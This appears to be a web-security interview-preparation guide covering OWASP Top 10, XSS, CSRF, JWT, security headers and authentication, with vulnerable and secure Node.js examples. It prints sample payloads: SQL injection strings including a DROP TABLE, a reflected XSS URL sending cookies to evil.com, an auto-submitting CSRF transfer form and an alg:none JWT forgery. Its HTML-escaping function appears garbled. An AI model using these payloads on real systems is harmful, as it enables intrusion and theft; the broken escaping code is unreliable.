A single SQL injection vulnerability cost one company $400 million in 2017. According to Verizon's 2024 Data Breach Report, 83% of breaches involve web application attacks—and security questions now appear in 4 out of 5 senior developer interviews. Whether you're building the next fintech startup or maintaining enterprise applications, understanding web security is no longer optional.
This guide covers the security concepts that come up in backend and system design interviews, from OWASP Top 10 vulnerabilities to practical prevention techniques.
Table of Contents
- OWASP Top 10 Questions
- Cross-Site Scripting (XSS) Questions
- Cross-Site Request Forgery (CSRF) Questions
- JWT Security Questions
- Security Headers Questions
- Authentication Questions
- Security Best Practices Questions
OWASP Top 10 Questions
The OWASP Top 10 is the industry standard for web application security awareness, updated every 3-4 years based on real vulnerability data.
What is the OWASP Top 10 and why does it matter?
OWASP (Open Web Application Security Project) is a nonprofit that maintains security standards and tools. Their Top 10 is a regularly updated list of the most critical security risks facing web applications, based on vulnerability data from hundreds of thousands of applications worldwide.
The 2021 Top 10 reflects real-world attack patterns and serves as both an educational resource and a compliance benchmark. Understanding these categories is expected knowledge for any developer working on web applications, especially in senior roles.
The OWASP Top 10 (2021):
- Broken Access Control - 94% of apps tested had issues here
- Cryptographic Failures - storing sensitive data insecurely
- Injection - SQL, NoSQL, OS command, LDAP injection
- Insecure Design - flaws in architecture, not just implementation
- Security Misconfiguration - default credentials, verbose errors
- Vulnerable Components - outdated dependencies with known CVEs
- Authentication Failures - weak passwords, session issues
- Software Integrity Failures - supply chain attacks, insecure CI/CD
- Logging Failures - not detecting breaches
- SSRF - server making requests to internal resources
What is Broken Access Control and how do you prevent it?
Broken Access Control is ranked #1 in OWASP Top 10 because 94% of tested applications had access control issues. It occurs when users can access data or functions beyond their intended permissions, either by viewing other users' data (horizontal escalation) or accessing admin functions (vertical escalation).
The most common pattern is IDOR (Insecure Direct Object Reference), where attackers manipulate IDs in URLs to access unauthorized resources. Prevention requires always verifying ownership server-side and never trusting client-provided identifiers without authorization checks.
// VULNERABLE: Direct object reference without authorization
app.get('/api/orders/:orderId', async (req, res) => {
// Only checks authentication, not authorization
const order = await db.query(
'SELECT * FROM orders WHERE id = ?',
[req.params.orderId]
);
res.json(order); // Attacker can access any order: /api/orders/1, /api/orders/2...
});
// SECURE: Always verify ownership
app.get('/api/orders/:orderId', async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.orderId, req.user.id] // Include user_id in query
);
if (!order) {
return res.status(404).json({ error: 'Order not found' });
}
res.json(order);
});
// BETTER: Use session context instead of URL parameters
app.get('/api/my/orders', async (req, res) => {
// User ID comes from authenticated session, not URL
const orders = await db.query(
'SELECT * FROM orders WHERE user_id = ?',
[req.user.id]
);
res.json(orders);
});Key prevention strategies:
- Enforce access control server-side, never trust the client
- Deny by default—require explicit permission grants
- Log access control failures and alert on repeated attempts
- Use session context instead of user-supplied IDs when possible
How should passwords be stored securely?
Passwords should never be stored in plaintext or using fast hashing algorithms like MD5, SHA-1, or even SHA-256. These algorithms are designed for speed, which makes them vulnerable to brute-force attacks—modern GPUs can compute billions of SHA-256 hashes per second.
Instead, use dedicated password hashing algorithms designed to be deliberately slow: Argon2id (winner of the Password Hashing Competition), bcrypt, or scrypt. These algorithms include built-in salting and configurable cost factors that can be increased as hardware improves.
// NEVER: Plaintext storage
const user = { email, password: plainPassword }; // Immediate breach exposure
// NEVER: Fast hashing algorithms
const hash = crypto.createHash('sha256').update(password).digest('hex');
// SHA-256 can compute billions per second - easily brute-forced
// NEVER: MD5 (broken, rainbow tables exist)
const hash = crypto.createHash('md5').update(password).digest('hex');
// CORRECT: Use bcrypt with appropriate cost factor
const bcrypt = require('bcrypt');
const COST_FACTOR = 12; // Should take ~250ms
async function hashPassword(password) {
return await bcrypt.hash(password, COST_FACTOR);
}
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// BETTER: Argon2id (winner of Password Hashing Competition)
const argon2 = require('argon2');
async function hashPassword(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 65536, // 64MB
timeCost: 3,
parallelism: 4
});
}
async function verifyPassword(password, hash) {
return await argon2.verify(hash, password);
}Why bcrypt/Argon2 instead of SHA-256:
- Deliberately slow - configurable cost factor prevents brute force
- Salt built-in - each password gets unique salt automatically
- Memory-hard (Argon2) - resists GPU attacks
- Future-proof - cost can increase as hardware improves
How do you prevent SQL injection?
SQL injection occurs when user input is concatenated directly into SQL queries, allowing attackers to modify the query structure. An attacker could input ' OR '1'='1' -- to bypass authentication or '; DROP TABLE users; -- to destroy data.
The primary defense is parameterized queries (prepared statements), which separate SQL code from user data. The SQL engine parses the query structure first, then binds user input as data that can never be executed as code. ORMs provide this protection automatically when used correctly.
// VULNERABLE: String concatenation
app.get('/api/users', async (req, res) => {
const query = `SELECT * FROM users WHERE name = '${req.query.name}'`;
// Attack: ?name=' OR '1'='1' --
// Result: SELECT * FROM users WHERE name = '' OR '1'='1' --'
// Returns ALL users!
const users = await db.query(query);
res.json(users);
});
// VULNERABLE: Even with "sanitization"
const name = req.query.name.replace(/'/g, "''"); // Easily bypassed
// SECURE: Parameterized queries (prepared statements)
app.get('/api/users', async (req, res) => {
const users = await db.query(
'SELECT * FROM users WHERE name = ?', // Placeholder
[req.query.name] // User input as parameter, never concatenated
);
res.json(users);
});
// SECURE: Using ORM (Sequelize, Prisma, etc.)
const users = await User.findAll({
where: {
name: req.query.name // ORM handles parameterization
}
});
// SECURE: MongoDB with Mongoose
const users = await User.find({ name: req.query.name });
// Note: Still validate input to prevent NoSQL injection
// Attack: { "$gt": "" } would match all documents
const name = typeof req.query.name === 'string' ? req.query.name : '';Why parameterized queries work:
- SQL engine parses query structure FIRST
- User input is then bound as DATA, never executed as code
- Even
'; DROP TABLE users; --is treated as a literal string
Cross-Site Scripting (XSS) Questions
XSS vulnerabilities allow attackers to inject malicious scripts into pages viewed by other users.
What are the three types of XSS attacks?
Cross-Site Scripting (XSS) comes in three forms, each with different attack vectors and persistence characteristics. Reflected XSS embeds the attack in a URL and requires the victim to click a malicious link. Stored XSS saves the attack in the database where it affects all users who view the content. DOM-based XSS manipulates the page entirely client-side without server involvement.
Understanding these distinctions helps you identify where to apply defenses. Reflected and stored XSS require server-side output encoding, while DOM-based XSS requires secure client-side JavaScript patterns.
// 1. REFLECTED XSS - Attack in URL, reflected in response
// URL: example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
app.get('/search', (req, res) => {
// VULNERABLE: User input directly in HTML
res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
// 2. STORED XSS - Attack saved in database, shown to all users
app.post('/comments', async (req, res) => {
// VULNERABLE: Malicious comment stored and shown to everyone
await db.saveComment(req.body.comment);
// If comment is "<script>stealCookies()</script>", every viewer is attacked
});
// 3. DOM-BASED XSS - Attack in client-side JavaScript
// VULNERABLE: URL fragment or query used unsafely
document.getElementById('output').innerHTML = location.hash.substring(1);
// URL: example.com#<img src=x onerror=alert('XSS') />How do you prevent XSS attacks?
XSS prevention requires multiple layers of defense: output encoding to neutralize malicious characters, Content Security Policy headers to restrict script execution, and safe DOM manipulation methods in JavaScript. No single technique is sufficient—defense in depth is essential.
Modern frameworks like React, Vue, and Angular provide automatic output encoding, but developers must understand when they're bypassing these protections (like React's dangerouslySetInnerHTML) and ensure they never use these escape hatches with user input.
// SOLUTION 1: Output encoding
const escapeHtml = (str) => {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});
// SOLUTION 2: Use textContent instead of innerHTML
document.getElementById('output').textContent = userInput; // Safe
// SOLUTION 3: Content Security Policy header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " + // No inline scripts, no eval
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.example.com"
);
next();
});
// SOLUTION 4: Template engines with auto-escaping (React, Vue, Angular)
// React automatically escapes:
function Comment({ text }) {
return <p>{text}</p>; // <script> becomes <script>
}
// DANGER: dangerouslySetInnerHTML bypasses protection
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // NEVER with user inputCSP header explanation:
default-src 'self'- Only load resources from same originscript-src 'self'- Blocks inline scripts and eval()connect-src- Limits AJAX/fetch destinations- Report violations:
report-uri /csp-report
Cross-Site Request Forgery (CSRF) Questions
CSRF attacks trick authenticated users into performing unwanted actions on sites where they're logged in.
What is CSRF and how does it work?
Cross-Site Request Forgery (CSRF) exploits the trust a website has in a user's browser. When you're logged into a site, your browser automatically sends cookies with every request to that site—including requests triggered by malicious pages. An attacker's website can embed forms or images that make requests to your bank, and your session cookies go along for the ride.
The key insight is that CSRF attacks don't steal data (the Same-Origin Policy prevents reading the response)—they perform actions. An attacker can't see your balance, but they can initiate a transfer. This makes CSRF particularly dangerous for any state-changing operations.
<!-- ATTACK SCENARIO -->
<!-- User is logged into bank.com -->
<!-- Attacker's page (evil.com) contains: -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Or hidden form that auto-submits: -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- User's cookies are automatically sent - transfer executed! -->How do you prevent CSRF attacks?
CSRF prevention relies on including a secret token that attackers can't guess or obtain. The server generates a unique token per session and includes it in forms. Since the Same-Origin Policy prevents attackers from reading pages on your site, they can't obtain the token to include in their forged requests.
Modern browsers also support the SameSite cookie attribute, which provides automatic CSRF protection by controlling when cookies are sent with cross-site requests. Using SameSite=Lax or SameSite=Strict prevents cookies from being sent with requests initiated by third-party sites.
// SOLUTION 1: CSRF Tokens
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/transfer', csrfProtection, (req, res) => {
// Include token in form
res.send(`
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="${req.csrfToken()}" />
<input name="to" />
<input name="amount" />
<button>Transfer</button>
</form>
`);
});
app.post('/transfer', csrfProtection, (req, res) => {
// Middleware validates token - rejects if missing or invalid
performTransfer(req.body);
});
// SOLUTION 2: SameSite Cookies
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // JavaScript can't access
secure: true, // HTTPS only
sameSite: 'strict', // Cookie only sent for same-site requests
// 'lax' allows GET requests from external links (better UX)
}
}));
// SOLUTION 3: Verify Origin/Referer headers
function validateOrigin(req, res, next) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
return res.status(403).json({ error: 'Invalid origin' });
}
next();
}
// SOLUTION 4: Custom header requirement (for APIs)
// Browsers add Origin header to cross-origin requests
// But won't add custom headers like X-Requested-With
app.use((req, res, next) => {
if (req.method !== 'GET' && !req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing X-Requested-With header' });
}
next();
});SameSite cookie values:
Strict- Cookie never sent with cross-site requests (breaks external links)Lax- Cookie sent with top-level GET navigation only (good default)None- Cookie sent with all requests (requires Secure; breaks CSRF protection)
What is the difference between XSS and CSRF?
XSS and CSRF are often confused but exploit trust in opposite directions. XSS exploits the trust a user has in a website—the user believes scripts on the page are legitimate. CSRF exploits the trust a website has in the user's browser—the server believes requests with valid cookies are intentional.
The attacks also differ in what they accomplish. XSS can steal data, hijack sessions, and perform any action the user can. CSRF can only perform actions (not read data) and only actions the application allows. Understanding this distinction helps you apply the right defenses.
| Aspect | XSS | CSRF |
|---|---|---|
| Trust exploited | User trusts website | Website trusts browser |
| Attack vector | Injected malicious script | Forged request from another site |
| Can steal data | Yes (cookies, form data, etc.) | No (Same-Origin Policy prevents) |
| Can perform actions | Yes | Yes |
| Prevention | Output encoding, CSP | CSRF tokens, SameSite cookies |
JWT Security Questions
JWTs are widely used for authentication but have several security pitfalls that interviewers commonly ask about.
What are the security considerations for JWT tokens?
JWTs (JSON Web Tokens) are self-contained tokens that encode claims about a user. While convenient for stateless authentication, they have several security pitfalls: algorithm confusion attacks where attackers change the algorithm to "none", weak secrets that can be cracked, sensitive data exposure in the payload (which is only base64-encoded, not encrypted), and storage vulnerabilities.
The security of a JWT depends entirely on protecting the signing secret and properly validating tokens. Always specify allowed algorithms explicitly, use strong secrets (256+ bits for HS256), never put sensitive data in the payload, and always set expiration times.
// JWT Structure: header.payload.signature
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
// eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0.
// signature
// VULNERABILITY 1: Algorithm confusion
// Attacker changes alg: "HS256" to alg: "none"
const maliciousToken = {
header: { alg: 'none', typ: 'JWT' },
payload: { userId: 123, role: 'admin' }
};
// DEFENSE: Always specify allowed algorithms
const jwt = require('jsonwebtoken');
function verifyToken(token) {
return jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'], // Reject 'none' and RS256
});
}
// VULNERABILITY 2: Weak secret
jwt.sign(payload, 'secret123'); // Easily cracked
// DEFENSE: Strong secret (256+ bits for HS256)
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(64).toString('hex');
// VULNERABILITY 3: Sensitive data in payload
jwt.sign({
userId: 123,
password: 'hash', // NEVER put sensitive data here!
ssn: '123-45-6789'
}, secret);
// VULNERABILITY 4: Missing expiration
jwt.sign({ userId: 123 }, secret); // Token valid forever
// DEFENSE: Always set expiration
jwt.sign({ userId: 123 }, secret, { expiresIn: '15m' });Where should JWT tokens be stored in web applications?
Token storage is a critical security decision with different trade-offs for different contexts. localStorage is convenient but vulnerable to XSS—any script on the page can steal the token. Cookies with httpOnly flag prevent JavaScript access, protecting against XSS, but require CSRF protection.
For web applications, httpOnly cookies are generally the safer choice because they're immune to XSS attacks. For mobile apps or SPAs that must use localStorage, implementing strong CSP and XSS defenses becomes even more critical.
// VULNERABILITY 5: Token stored in localStorage
localStorage.setItem('token', jwt); // XSS can steal it
// DEFENSE: Use httpOnly cookies for web apps
res.cookie('token', jwt, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 900000 // 15 minutes
});
// Complete secure implementation
function createToken(user) {
return jwt.sign(
{
sub: user.id,
role: user.role,
// No sensitive data!
},
process.env.JWT_SECRET,
{
algorithm: 'HS256',
expiresIn: '15m',
issuer: 'your-app',
audience: 'your-app-users',
}
);
}
function verifyToken(token) {
try {
return jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
issuer: 'your-app',
audience: 'your-app-users',
});
} catch (error) {
if (error.name === 'TokenExpiredError') {
throw new Error('Token expired');
}
throw new Error('Invalid token');
}
}Security Headers Questions
Security headers provide defense-in-depth by instructing browsers how to handle your content.
What security headers should every web application implement?
Security headers are HTTP response headers that instruct browsers how to handle your content securely. They provide defense-in-depth by preventing entire classes of attacks at the browser level, even if application code has vulnerabilities.
The most important headers are Content-Security-Policy (prevents XSS), Strict-Transport-Security (forces HTTPS), X-Frame-Options (prevents clickjacking), and X-Content-Type-Options (prevents MIME sniffing). Using a library like Helmet makes implementing these headers straightforward.
const helmet = require('helmet');
// Recommended: Use helmet with customization
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // No 'unsafe-inline'!
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.yourapp.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
}));
// Manual implementation for understanding
app.use((req, res, next) => {
// Prevent XSS - control what can load/execute
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
// Force HTTPS
res.setHeader('Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload');
// Prevent clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Prevent MIME type sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Control referrer information
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Control browser features
res.setHeader('Permissions-Policy',
'geolocation=(), camera=(), microphone=()');
// Remove server identification
res.removeHeader('X-Powered-By');
next();
});What does each security header prevent?
Each security header addresses a specific attack vector. Understanding what each header prevents helps you prioritize implementation and troubleshoot when legitimate functionality is blocked.
Content-Security-Policy is the most powerful header, capable of preventing most XSS attacks by restricting script sources. HSTS prevents SSL stripping attacks. X-Frame-Options stops clickjacking where attackers overlay invisible iframes to trick users into clicking malicious buttons.
| Header | Attack Prevented | Recommended Value |
|---|---|---|
| Content-Security-Policy | XSS, injection | Whitelist allowed sources |
| Strict-Transport-Security | SSL stripping | max-age=31536000; includeSubDomains |
| X-Frame-Options | Clickjacking | DENY or SAMEORIGIN |
| X-Content-Type-Options | MIME confusion | nosniff |
| Referrer-Policy | Information leakage | strict-origin-when-cross-origin |
| Permissions-Policy | Unauthorized feature access | Disable unused features |
Authentication Questions
Secure authentication is the foundation of application security.
How do you implement secure authentication?
Secure authentication requires multiple layers: strong password policies, secure password storage with bcrypt or Argon2, account lockout after failed attempts, timing-attack-resistant comparisons, and proper session management. Each layer addresses different attack vectors from brute force to credential stuffing.
A critical but often overlooked detail is preventing user enumeration. Error messages should be identical whether the email exists or not ("Invalid email or password"), and response times should be constant. Attackers can otherwise map which email addresses have accounts.
const bcrypt = require('bcrypt');
const crypto = require('crypto');
// Password requirements
const PASSWORD_POLICY = {
minLength: 12,
requireUppercase: true,
requireLowercase: true,
requireNumber: true,
requireSpecial: true,
maxLength: 128, // Prevent DoS via bcrypt
};
function validatePassword(password) {
if (password.length < PASSWORD_POLICY.minLength) {
return { valid: false, error: 'Password must be at least 12 characters' };
}
if (password.length > PASSWORD_POLICY.maxLength) {
return { valid: false, error: 'Password too long' };
}
// Additional checks...
return { valid: true };
}
// Account lockout after failed attempts
const loginAttempts = new Map();
const MAX_ATTEMPTS = 5;
const LOCKOUT_TIME = 15 * 60 * 1000; // 15 minutes
async function login(email, password) {
const attempts = loginAttempts.get(email) || { count: 0, lockedUntil: 0 };
// Check lockout
if (attempts.lockedUntil > Date.now()) {
const waitMinutes = Math.ceil((attempts.lockedUntil - Date.now()) / 60000);
throw new Error(`Account locked. Try again in ${waitMinutes} minutes.`);
}
const user = await db.findUserByEmail(email);
// Timing attack prevention: always compare even if user doesn't exist
const dummyHash = await bcrypt.hash('dummy', 12);
const hashToCompare = user ? user.passwordHash : dummyHash;
const valid = await bcrypt.compare(password, hashToCompare);
if (!valid || !user) {
// Increment failed attempts
attempts.count++;
if (attempts.count >= MAX_ATTEMPTS) {
attempts.lockedUntil = Date.now() + LOCKOUT_TIME;
}
loginAttempts.set(email, attempts);
// Generic error message (don't reveal if user exists)
throw new Error('Invalid email or password');
}
// Reset attempts on successful login
loginAttempts.delete(email);
return createSession(user);
}How do you implement secure session management?
Sessions must be unpredictable, have appropriate timeouts, and be properly invalidated on logout. Session IDs should be generated using cryptographically secure random number generators—never sequential IDs or timestamps.
Implement both idle timeout (session expires after period of inactivity) and absolute timeout (session expires after maximum lifetime regardless of activity). Track session metadata like IP address and user agent to detect session hijacking attempts.
// Secure session management
function createSession(user) {
const sessionId = crypto.randomBytes(32).toString('hex');
// Store session server-side
sessions.set(sessionId, {
userId: user.id,
createdAt: Date.now(),
lastActive: Date.now(),
ipAddress: req.ip,
userAgent: req.headers['user-agent'],
});
return sessionId;
}
// Session validation
function validateSession(sessionId, req) {
const session = sessions.get(sessionId);
if (!session) return null;
// Session timeout (30 minutes of inactivity)
if (Date.now() - session.lastActive > 30 * 60 * 1000) {
sessions.delete(sessionId);
return null;
}
// Absolute timeout (24 hours)
if (Date.now() - session.createdAt > 24 * 60 * 60 * 1000) {
sessions.delete(sessionId);
return null;
}
// Update last active
session.lastActive = Date.now();
return session;
}How do you implement rate limiting for authentication?
Rate limiting prevents brute force attacks by limiting the number of authentication attempts. Implement limits at multiple levels: per IP address (to block distributed attacks) and per account (to prevent credential stuffing against specific users).
Different endpoints need different limits. Login endpoints should be strictly limited (5-10 attempts per 15 minutes), while general API endpoints can be more permissive. Always use sliding windows rather than fixed windows to prevent burst attacks at window boundaries.
const rateLimit = require('express-rate-limit');
// General API rate limiting
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // Limit each IP to 100 requests per window
message: { error: 'Too many requests, please try again later' },
standardHeaders: true,
legacyHeaders: false,
});
// Strict rate limiting for auth endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // Only 5 login attempts per 15 minutes
message: { error: 'Too many login attempts' },
skipSuccessfulRequests: true, // Don't count successful logins
});
// Apply limiters
app.use('/api/', apiLimiter);
app.use('/api/auth/', authLimiter);
// IP-based + account-based limiting
const loginAttempts = new Map();
async function checkRateLimit(ip, email) {
const ipKey = `ip:${ip}`;
const emailKey = `email:${email}`;
const ipAttempts = loginAttempts.get(ipKey) || 0;
const emailAttempts = loginAttempts.get(emailKey) || 0;
// Block if too many attempts from same IP
if (ipAttempts >= 20) {
throw new Error('Too many requests from this IP');
}
// Block if too many attempts on same account
if (emailAttempts >= 5) {
throw new Error('Account temporarily locked');
}
// Increment counters
loginAttempts.set(ipKey, ipAttempts + 1);
loginAttempts.set(emailKey, emailAttempts + 1);
// Auto-reset after 15 minutes
setTimeout(() => {
loginAttempts.delete(ipKey);
loginAttempts.delete(emailKey);
}, 15 * 60 * 1000);
}Security Best Practices Questions
Interviewers often ask about security review processes and how you approach security in practice.
What should a secure coding checklist include?
A secure coding checklist ensures consistent security practices across a development team. It should cover input validation, authentication, session management, access control, data protection, and security headers. The checklist serves as both a development guide and a code review tool.
The key principle is defense in depth—multiple overlapping security controls so that a single failure doesn't compromise the system. Never rely on a single security measure; always have backup defenses.
Input Validation:
- All user input validated on server (never trust client)
- Whitelist validation preferred over blacklist
- Input length limits enforced
- File uploads validated (type, size, content)
Authentication:
- Passwords hashed with bcrypt/Argon2
- Multi-factor authentication available
- Account lockout after failed attempts
- Secure password reset flow
Session Management:
- Session tokens are random and unpredictable
- Session timeout implemented (idle and absolute)
- Session invalidated on logout
- Secure cookie flags set (HttpOnly, Secure, SameSite)
Access Control:
- Authorization checked on every request
- Principle of least privilege applied
- Direct object references validated
Data Protection:
- Sensitive data encrypted at rest
- TLS 1.2+ for data in transit
- Sensitive data not logged
- Proper key management
Security Headers:
- CSP implemented
- HSTS enabled
- X-Frame-Options set
- X-Content-Type-Options: nosniff
How would you handle discovering a security vulnerability in production?
Handling a production security vulnerability requires a systematic approach: assess severity, contain the threat, fix the vulnerability, verify the fix, and conduct a post-mortem. Rushing to patch without proper assessment can cause more damage than the original vulnerability.
First, assess severity using a framework like CVSS. For critical vulnerabilities affecting user data, consider whether to take the service offline. Document everything for the post-mortem, including how the vulnerability was introduced and what controls failed.
Response process:
- Assess severity - Use CVSS or similar framework to prioritize
- Contain - For critical issues, consider emergency patches or service isolation
- Document - Record exploitation details and affected systems
- Fix - Develop patch in isolated branch with security-focused code review
- Verify - Test that the fix works and doesn't introduce new issues
- Deploy - Follow normal deployment with expedited approval if needed
- Retrospective - Analyze how it happened and how to prevent similar issues
How would you secure a REST API?
Securing a REST API requires multiple layers of protection: authentication to verify identity, authorization to control access, input validation to prevent injection, rate limiting to prevent abuse, and comprehensive logging for detection and forensics.
For sensitive operations, consider additional verification like re-authentication or step-up authentication. Always assume the network is hostile and encrypt all traffic with TLS.
Security layers for REST APIs:
- Authentication - JWT or OAuth 2.0 with short-lived tokens
- Authorization - Check permissions on every endpoint
- Input validation - Strict schemas, reject unexpected fields
- Rate limiting - Per user and per IP
- HTTPS enforcement - Redirect HTTP to HTTPS, use HSTS
- Security headers - Especially CORS configuration
- Logging - Log security events, monitor for anomalies
- Dependency updates - Regular scanning and patching
What are common security red flags in code reviews?
During code reviews, watch for patterns that indicate security vulnerabilities. String concatenation in SQL queries suggests injection risks. User input rendered without encoding suggests XSS. Missing authorization checks suggest access control issues.
Also look for security anti-patterns: "encrypt" used for passwords (should be "hash"), MD5 or SHA-1 for any security purpose, secrets in code, and commented-out security checks.
Red flags to catch in code reviews:
- String concatenation in queries (SQL injection)
innerHTMLordangerouslySetInnerHTMLwith user input (XSS)- Missing authorization checks on endpoints
- Passwords "encrypted" instead of hashed
- MD5 or SHA-1 used for security purposes
- Secrets or credentials in code
eval()or similar with any external input- Missing rate limiting on authentication endpoints
- Generic error messages that don't apply ("Invalid password" vs "Invalid email or password")
- Client-side only validation
Quick Reference
OWASP Top 10 (2021) Summary:
| Rank | Category | Primary Prevention |
|---|---|---|
| A01 | Broken Access Control | Server-side authorization, deny by default |
| A02 | Cryptographic Failures | Strong encryption, secure key management |
| A03 | Injection | Parameterized queries, input validation |
| A04 | Insecure Design | Threat modeling, secure design patterns |
| A05 | Security Misconfiguration | Hardening, remove defaults, patch regularly |
| A06 | Vulnerable Components | Dependency scanning, regular updates |
| A07 | Auth Failures | MFA, rate limiting, secure sessions |
| A08 | Integrity Failures | Signed updates, SRI, secure CI/CD |
| A09 | Logging Failures | Log security events, monitor anomalies |
| A10 | SSRF | Validate URLs, block internal networks |
Key prevention techniques:
- XSS → Output encoding + CSP
- CSRF → Tokens + SameSite cookies
- SQL Injection → Parameterized queries
- Broken Access Control → Server-side authorization on every request
- Password Storage → bcrypt or Argon2 (never MD5/SHA)
Related Articles
- Complete Node.js Backend Developer Interview Guide - Comprehensive backend interview preparation
- Authentication & JWT Interview Guide - Sessions, JWT, OAuth 2.0, and secure auth patterns
- REST API Interview Guide - API design principles and best practices
- Node.js Advanced Interview Guide - Event loop, streams, and Node.js internals
- System Design Interview Guide - Security considerations in distributed systems
- Complete DevOps Engineer Interview Guide - DevOps security practices
